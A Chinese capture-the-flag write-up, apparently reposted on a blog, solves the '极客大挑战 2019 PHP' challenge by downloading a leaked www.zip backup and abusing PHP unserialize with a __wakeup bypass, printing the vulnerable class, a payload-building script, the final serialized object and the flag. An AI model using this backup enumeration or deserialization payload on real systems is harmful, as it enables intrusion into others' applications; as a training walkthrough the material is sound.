首页 > 编程语言 >[极客大挑战 2019]PHP

[极客大挑战 2019]PHP

时间:2023-08-27 19:22:55浏览次数:40  
标签:username password 极客 .. image echo 2019 PHP

[极客大挑战 2019]PHP

打开链接,提示有备份网站的习惯

![image-20230821164500785](../../../../../../Typora文章/[极客大挑战 2019]PHP/image-20230821164500785.png)

因此此时尝试访问一些常见的网站备份文件名,例如:

  • 常见网站源码备份文件后缀:

    tar.gz zip rar tar

  • 常见网站源码备份文件名:

    www wwwroot web back backup

最后发现输入www.zip可以获得网站的源码文件,解压之后发现如下文件

![image-20230821165600225](../../../../../../Typora文章/[极客大挑战 2019]PHP/image-20230821165600225.png)

首先先查看index.php文件,发现了如下关键代码

![image-20230821165818234](../../../../../../Typora文章/[极客大挑战 2019]PHP/image-20230821165818234.png)

该文件包含了class.php文件,并且对select变量进行了反序列化的操作,这里要注意一个知识点

  • 若反序列化的变量为对象,那么在构造对象之后,会去自动调用__wakeup()成员函数(若果存在该函数的话)

我们打开class.php进一步分析

代码如下:

<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();         
        }
    }
}
?>

经分析得知,只有当对应实例的username === admin并且password == 100的时候才会显示flag,但是该类当中存在__wakeup()函数会将username的值更改掉,所以本体的关键就是绕过该函数

查询资料得知:

  • 当成员属性的数目大于实际数目的时候就可以绕过__wakeup()函数

所以我们现在要编写符合条件的对象,然后将其序列化,payload构造如下:

<?php
class Name{
	private $username = 'admin';
	private $password = '100';
}
$select = new Name();
$res = serialize(@$select);
echo $res
?>

得到结果如下:

O:4:"Name":2:{s:14:"口Name口username";s:6:"admine";s:14:"口Name口password";s:3:"100";}

将成员属性数量值2改为3,然后将“口”改为%00表示空格,最终的payload如下:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

提交之后发现成功得到flag

![image-20230821172841503](../../../../../../Typora文章/[极客大挑战 2019]PHP/image-20230821172841503.png)

flag{0a351476-eb20-4ece-9cba-e0aab7937081}

标签:username,password,极客,..,image,echo,2019,PHP
From: https://www.cnblogs.com/h40vv3n/p/17646827.html

相关文章

  • CSP-J2019初赛易错题解析
    7.把 8 个同样的球放在 5 个同样的袋子里,允许有的袋子空着不放,问共有多少种不同的分法?()提示:如果 8 个球都放在一个袋子里,无论是哪个袋子,都只算同一种分法。A.22B.24 C.18 D.20正解:使用枚举法,枚举所有合法情况,共18种 ......
  • CSP-S2019初赛易错题解析
    一.6.由数字 1,1,2,4,8,8 所组成的不同的 4 位数的个数是()A.104  B. 102  C. 98  D. 100错误原因:遗漏答案正解:使用穷举法,第一种ABCD型,共有A(4,4)=24种,第二种AABC型,共有A(4,2)*C(3,2)*2=72种,第三种AABB型,共有6种,总共是102种。 8.G 是一个非连通无向图(......
  • P6302 [NOI2019] 回家路线 加强版
    P6302[NOI2019]回家路线加强版斜率优化好题。观察后猜想应该是dp。经过思考发现如果以点为状态,在时间这一维上是存在后效性的,而如果开二维数组\(f_{i,j}\)表示在第\(j\)个时刻到了\(i\)个点过不去加强版,考虑以列车为状态。题目有两个限制,一是出发点和结束点的限制,即......
  • 用 PHP 和 JavaScript 显示地球卫星照片
    向日葵8号气象卫星是日本宇宙航空研究开发机构设计制造的向日葵系列卫星之一,重约3500公斤,设计寿命15年以上。该卫星于2014年10月7日由H2A火箭搭载发射成功,主要用于监测暴雨云团、台风动向以及持续喷发活动的火山等防灾领域。——百度百科日本发射这颗卫星后,不仅......
  • [十二省联考 2019] 春节十二响
    题目链接。题意给出一棵有\(n\)个节点的树,要求你将集合\(\{1,2,\dots,n\}\)划分成若干个子集,使得没有子集拥有节点对满足两个元素在树上是祖孙关系。你需要最小化子集的最大值之和。先考虑带有启发性的子任务\(4\)(树是一颗链)。具体来说,树有以下两种形态:根节点是链的......
  • 基于PHP开发的拍卖直播系统源码分享
    东莞梦幻网络科技最新推出的拍卖直播系统源码,安卓端使用Java语言开发,苹果端则采用Objective-C开发,前端H5则采用了Vue.js开发,后台管理系统基于PHP的ThinkPHP框架开发。基础功能:创造竞价氛围直播拍卖:通过主播的话术,为拍品详细讲解产品特点,创造竞价氛围,不仅拉近了拍品与消费者之间的距......
  • php实战手册(6)
    目录函数全局变量函数全局变量下面这段代码是错误的#!/usr/bin/php<?php $x=range(1,10);$result=0;foreach($xas$v){ addSum($v);}functionaddSum($v){ $result+=$v; }echo$result;?>下面也是错误的#!/usr/bin/php<?php ......
  • php网校系统源码,兔知云课堂:点亮知识的星途,成就未来的每一刻
    在这个充满活力的时代,教育正以前所未有的速度和方式进入我们的生活。而今天,我将向您介绍一款颇具魅力的小程序,它即是——兔知云课堂。 兔知云课堂的魅力犹如点滴的水滴,渗透入我们的知识海洋,让我们的未来充满了无限可能。在这个小程序中,您将会发现一个精心构建的学习世界,一个鲜......
  • 知识付费系统源码基于PHP开源的网站内容付费源码,打开行业新机遇
    为什么说无论哪个行业,都值得考虑运用知识付费?让我重新为你解释这个逻辑,一旦你理解了它,你就将拥有极大地放大你现有生意机会的能力。 我们通常将知识付费课程视为一种产品,但它实际上还有另一种本质,那就是广告。或许你并未意识到,在创建知识付费课程时,你也在打造一种媒介,一种可以......
  • 宝塔机为php打扩展后失效的解决方案
    cd/www/server/php/74/etc宝塔有两个配置文件,php.ini,php-cli.ini,如果我们是手动安装的扩展,两边都要同步 systemctlrestartphp-fpm重启php服务生效......